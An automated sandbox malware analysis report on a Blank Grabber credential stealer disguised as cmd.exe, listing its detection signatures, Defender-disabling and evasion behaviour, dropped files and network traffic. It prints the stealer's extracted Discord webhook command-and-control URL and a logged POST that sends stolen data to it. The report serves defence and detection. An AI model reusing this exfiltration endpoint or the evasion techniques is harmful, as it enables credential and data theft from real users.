Windows Analysis Report
cmd.exe

Overview

General Information

Sample name: cmd.exe
Analysis ID: 1561562
MD5: b2fe874c2e11c56edf05c5250a8c966f
SHA1: 06d6e28c3cb46e06195a5f8c360d8eeaddfb1c06
SHA256: 255113355555cad23594618b606e851b38bcf588d902ec2678bb893582a90a4f
Tags: exeuser-JaffaCakes118
Infos:

Detection

Blank Grabber
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Found malware configuration
Multi AV Scanner detection for submitted file
Yara detected Blank Grabber
Yara detected Telegram RAT
AI detected suspicious sample
Adds a directory exclusion to Windows Defender
Bypasses PowerShell execution policy
Encrypted powershell cmdline option found
Found many strings related to Crypto-Wallets (likely being stolen)
Loading BitLocker PowerShell Module
Modifies Windows Defender protection settings
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Removes signatures from Windows Defender
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Sigma detected: Powershell Defender Disable Scan Feature
Sigma detected: Rar Usage with Password and Compression Level
Sigma detected: Suspicious Encoded PowerShell Command Line
Sigma detected: Suspicious PowerShell Encoded Command Patterns
Sigma detected: Suspicious Startup Folder Persistence
Suspicious powershell command line found
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal communication platform credentials (via file / registry access)
Writes or reads registry keys via WMI
Binary contains a suspicious time stamp
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Compiles C# or VB.Net code
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to communicate with device drivers
Contains functionality to query CPU information (cpuid)
Contains functionality to shutdown / reboot the system
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a start menu entry (Start Menu\Programs\Startup)
Creates a window with clipboard capturing capabilities
Creates files inside the system directory
Detected potential crypto function
Drops PE files
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found evasive API chain checking for process token information
Found potential string decryption / allocating functions
IP address seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
PE / OLE file has an invalid certificate
PE file contains an invalid checksum
PE file contains executable resources (Code or Archives)
PE file contains sections with non-standard names
Queries disk information (often used to detect virtual machines)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Searches for the Microsoft Outlook file path
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: PowerShell Get-Clipboard Cmdlet Via CLI
Sigma detected: Powershell Defender Exclusion
Sigma detected: SCR File Write Event
Sigma detected: Startup Folder File Write
Sigma detected: Suspicious Execution of Powershell with Base64
Sigma detected: Suspicious Screensaver Binary File Creation
Stores files to the Windows start menu directory
Too many similar processes found
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara detected Credential Stealer

Classification

AV Detection
barindex
Found malware configuration
Source: cmd.exe.7280.1.memstrmin Malware Configuration Extractor: Blank Grabber {"C2 url": "https://discord.com/api/webhooks/1309732604697772032/jYDmGek7yWvABusaZDozvumeMuAZjheHcNL9cOnpMCpam2eP5UOyLvUjSMysvJJlJbg0"}
Multi AV Scanner detection for submitted file
Source: cmd.exe ReversingLabs: Detection: 36%
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A3F901C CryptAcquireContextW,CryptGenRandom,CryptReleaseContext, 65_2_00007FF69A3F901C
Source: cmd.exe Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Source: Binary string: C:\A\40\b\bin\amd64\sqlite3.pdb source: cmd.exe, 00000001.00000002.2104624049.00007FFE01301000.00000040.00000001.01000000.0000000B.sdmp
Source: Binary string: D:\_w\1\b\libssl-1_1.pdb source: cmd.exe, 00000001.00000002.2102140495.00007FFDFB076000.00000040.00000001.01000000.00000010.sdmp
Source: Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASM source: cmd.exe, 00000001.00000002.2102679119.00007FFDFB30E000.00000040.00000001.01000000.0000000F.sdmp
Source: Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: cmd.exe, 00000000.00000003.1697672664.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2108397549.00007FFE1A461000.00000002.00000001.01000000.00000005.sdmp, VCRUNTIME140.dll.0.dr
Source: Binary string: C:\A\40\b\bin\amd64\_ctypes.pdb source: cmd.exe, 00000001.00000002.2106778885.00007FFE126D1000.00000040.00000001.01000000.00000006.sdmp
Source: Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: cmd.exe, 00000000.00000003.1697672664.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2108397549.00007FFE1A461000.00000002.00000001.01000000.00000005.sdmp, VCRUNTIME140.dll.0.dr
Source: Binary string: C:\A\40\b\bin\amd64\_queue.pdb source: cmd.exe, 00000001.00000002.2107248205.00007FFE130C1000.00000040.00000001.01000000.00000012.sdmp
Source: Binary string: C:\A\40\b\bin\amd64\_sqlite3.pdb source: cmd.exe, 00000001.00000002.2105906140.00007FFE11EA1000.00000040.00000001.01000000.0000000A.sdmp
Source: Binary string: C:\A\40\b\bin\amd64\python310.pdb source: cmd.exe, 00000001.00000002.2103718969.00007FFDFB784000.00000040.00000001.01000000.00000004.sdmp
Source: Binary string: D:\Projects\WinRAR\rar\build\rar64\Release\RAR.pdb source: rar.exe, 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmp, rar.exe, 00000041.00000000.1938364077.00007FF69A450000.00000002.00000001.01000000.00000021.sdmp, rar.exe.0.dr
Source: Binary string: 7C:\Users\user\AppData\Local\Temp\bcdu5fii\bcdu5fii.pdb source: powershell.exe, 0000002A.00000002.1859004442.000002168CE46000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\A\40\b\bin\amd64\_lzma.pdbNN source: cmd.exe, 00000001.00000002.2106340866.00007FFE11EDC000.00000040.00000001.01000000.00000008.sdmp
Source: Binary string: C:\A\40\b\bin\amd64\_lzma.pdb source: cmd.exe, 00000001.00000002.2106340866.00007FFE11EDC000.00000040.00000001.01000000.00000008.sdmp
Source: Binary string: 7C:\Users\user\AppData\Local\Temp\bcdu5fii\bcdu5fii.pdbhP source: powershell.exe, 0000002A.00000002.1859004442.000002168CE46000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\A\40\b\bin\amd64\select.pdb source: cmd.exe, 00000001.00000002.2107479396.00007FFE13301000.00000040.00000001.01000000.0000000D.sdmp
Source: Binary string: C:\A\40\b\bin\amd64\unicodedata.pdb source: cmd.exe, 00000001.00000002.2101639758.00007FFDFAFEC000.00000040.00000001.01000000.00000013.sdmp
Source: Binary string: D:\_w\1\b\libssl-1_1.pdb@@ source: cmd.exe, 00000001.00000002.2102140495.00007FFDFB076000.00000040.00000001.01000000.00000010.sdmp
Source: Binary string: C:\A\40\b\bin\amd64\_ssl.pdb source: cmd.exe, 00000001.00000002.2105061798.00007FFE0EB41000.00000040.00000001.01000000.0000000E.sdmp
Source: Binary string: C:\A\40\b\bin\amd64\_socket.pdb source: cmd.exe, 00000001.00000002.2105587009.00007FFE11511000.00000040.00000001.01000000.0000000C.sdmp
Source: Binary string: )i.pdb source: powershell.exe, 0000002A.00000002.1915922706.00000216A4BB6000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: C:\A\40\b\bin\amd64\_bz2.pdb source: cmd.exe, 00000001.00000002.2107751391.00007FFE13331000.00000040.00000001.01000000.00000009.sdmp
Source: Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASMOpenSSL 1.1.1q 5 Jul 2022built on: Thu Aug 18 20:15:42 2022 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-1_1"not available source: cmd.exe, 00000001.00000002.2102679119.00007FFDFB30E000.00000040.00000001.01000000.0000000F.sdmp
Source: Binary string: C:\A\40\b\bin\amd64\_hashlib.pdb source: cmd.exe, 00000001.00000002.2105325798.00007FFE10301000.00000040.00000001.01000000.00000011.sdmp
Source: Binary string: D:\_w\1\b\libcrypto-1_1.pdb source: cmd.exe, 00000001.00000002.2102679119.00007FFDFB390000.00000040.00000001.01000000.0000000F.sdmp
Source: C:\Users\user\Desktop\cmd.exe Code function: 0_2_00007FF70AEF83B0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW, 0_2_00007FF70AEF83B0
Source: C:\Users\user\Desktop\cmd.exe Code function: 0_2_00007FF70AEF92F0 FindFirstFileExW,FindClose, 0_2_00007FF70AEF92F0
Source: C:\Users\user\Desktop\cmd.exe Code function: 0_2_00007FF70AF118E4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose, 0_2_00007FF70AF118E4
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A4046EC FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError, 65_2_00007FF69A4046EC
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A3FE21C FindFirstFileW,FindClose,CreateFileW,DeviceIoControl,CloseHandle, 65_2_00007FF69A3FE21C
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A4488E0 FindFirstFileExA, 65_2_00007FF69A4488E0
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 208.95.112.1 208.95.112.1
Source: Joe Sandbox View IP Address: 162.159.128.233 162.159.128.233
May check the online IP address of the machine
Source: unknown DNS query: name: ip-api.com
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global traffic HTTP traffic detected: GET /json/?fields=225545 HTTP/1.1Host: ip-api.comAccept-Encoding: identityUser-Agent: python-urllib3/2.2.3
Source: cmd.exe, 00000001.00000003.2091061273.000001C916C8A000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2100068134.000001C9179C8000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: `https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: cmd.exe, 00000001.00000002.2100068134.000001C9179B8000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.2091061273.000001C916C8A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: `https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: global traffic DNS traffic detected: DNS query: ip-api.com
Source: global traffic DNS traffic detected: DNS query: discord.com
Source: unknown HTTP traffic detected: POST /api/webhooks/1309732604697772032/jYDmGek7yWvABusaZDozvumeMuAZjheHcNL9cOnpMCpam2eP5UOyLvUjSMysvJJlJbg0 HTTP/1.1Host: discord.comAccept-Encoding: identityContent-Length: 699973User-Agent: python-urllib3/2.2.3Content-Type: multipart/form-data; boundary=deddcaf575f75e2dd616d5b567df1560
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 23 Nov 2024 18:44:40 GMTContent-Type: application/jsonContent-Length: 45Connection: closeCache-Control: public, max-age=3600, s-maxage=3600strict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1732387481x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8dnofcTgJO77a0qvnY06ZSBgJThFUi8RPU8CzONyuww46HrhNSYoQIulPhbjpsHEv8wynrDDGIVboMnd6LkVRJj0bS6cflMBGGEW9Mg25a0WM87vZtObL%2FuVdqpj"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffSet-Cookie: __cfruid=bfbee4d8f0c66307eb752299893c7bde277a9e1d-1732387480; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: _cfuvid=r8z8dclj1LJ.4o5SqnVjdAiCBtWH7bkTOCEb1MOHljw-1732387480233-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8e734fba9c4d8c7e-EWR
Source: cmd.exe, 00000000.00000003.1700295776.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1700295776.00000162C435C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: cmd.exe, 00000000.00000003.1697853254.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698520496.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1700392163.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698930176.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1700617326.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000002.2112093875.00000162C435C000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699982456.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701982831.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699040150.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701369163.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698782625.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698930176.00000162C435C000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701369163.00000162C435C000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701468471.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699151811.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699275879.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698681168.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1697979195.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, _socket.pyd.0.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: cmd.exe, 00000000.00000003.1700295776.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1700295776.00000162C435C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: cmd.exe, 00000000.00000003.1697853254.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698520496.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1700392163.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698930176.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1700617326.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699982456.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701982831.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699040150.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701369163.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698782625.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701468471.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699151811.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699275879.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698681168.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1697979195.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, _socket.pyd.0.dr, _ssl.pyd.0.dr, _ctypes.pyd.0.dr, _hashlib.pyd.0.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: cmd.exe, 00000000.00000003.1697853254.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698520496.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1700392163.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698930176.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1700617326.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699982456.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701982831.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699040150.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701369163.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698782625.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701468471.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699151811.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699275879.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698681168.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1697979195.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, _socket.pyd.0.dr, _ssl.pyd.0.dr, _ctypes.pyd.0.dr, _hashlib.pyd.0.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: cmd.exe, 00000000.00000003.1697853254.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698520496.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1700392163.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698930176.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1700617326.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000002.2112093875.00000162C435C000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699982456.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701982831.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699040150.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701369163.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698782625.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698930176.00000162C435C000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701369163.00000162C435C000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701468471.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699151811.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699275879.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698681168.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1697979195.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, _socket.pyd.0.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: cmd.exe, 00000001.00000002.2097860677.000001C916A25000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://code.activestate.com/recipes/577452-a-memoize-decorator-for-instance-methods/
Source: cmd.exe, 00000001.00000003.2093290332.000001C91692B000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2097775097.000001C91692B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.comodo
Source: cmd.exe, rar.exe.0.dr String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: cmd.exe, 00000001.00000003.2093373863.000001C916899000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.2092429001.000001C91689F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.2092429001.000001C91686B000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.2094158420.000001C916A4C000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.2091622217.000001C9172D4000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2096563852.000001C91686B000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2098181840.000001C916A4D000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1936844561.0000022BF4E10000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001C.00000002.2946092630.00000240CA6B0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.1915922706.00000216A4AC8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: cmd.exe, 00000001.00000003.2092429001.000001C91686B000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.1756903455.000001C91687D000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2096563852.000001C91686B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.comodoi
Source: powershell.exe, 0000000A.00000002.1944041787.0000022BF5308000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.m
Source: powershell.exe, 0000000A.00000002.1941584429.0000022BF4FD3000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.microsus
Source: cmd.exe String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0
Source: cmd.exe String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: cmd.exe, 00000000.00000003.1701072162.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, rar.exe.0.dr String found in binary or memory: http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s
Source: cmd.exe, 00000000.00000003.1700295776.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701072162.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, rar.exe.0.dr String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: powershell.exe, 0000000A.00000002.1936844561.0000022BF4E10000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.v
Source: svchost.exe, 0000001C.00000002.2945905884.00000240CA600000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.ver)
Source: cmd.exe, 00000000.00000003.1699151811.00000162C434F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/
Source: cmd.exe, 00000000.00000003.1697853254.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698520496.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1700392163.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698930176.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1700617326.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000002.2112093875.00000162C435C000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699982456.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701982831.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699040150.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701369163.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698782625.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698930176.00000162C435C000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701369163.00000162C435C000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701468471.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699151811.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1699275879.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1698681168.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1697979195.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, _socket.pyd.0.dr String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: cmd.exe, 00000000.00000003.1700295776.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1700295776.00000162C435C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
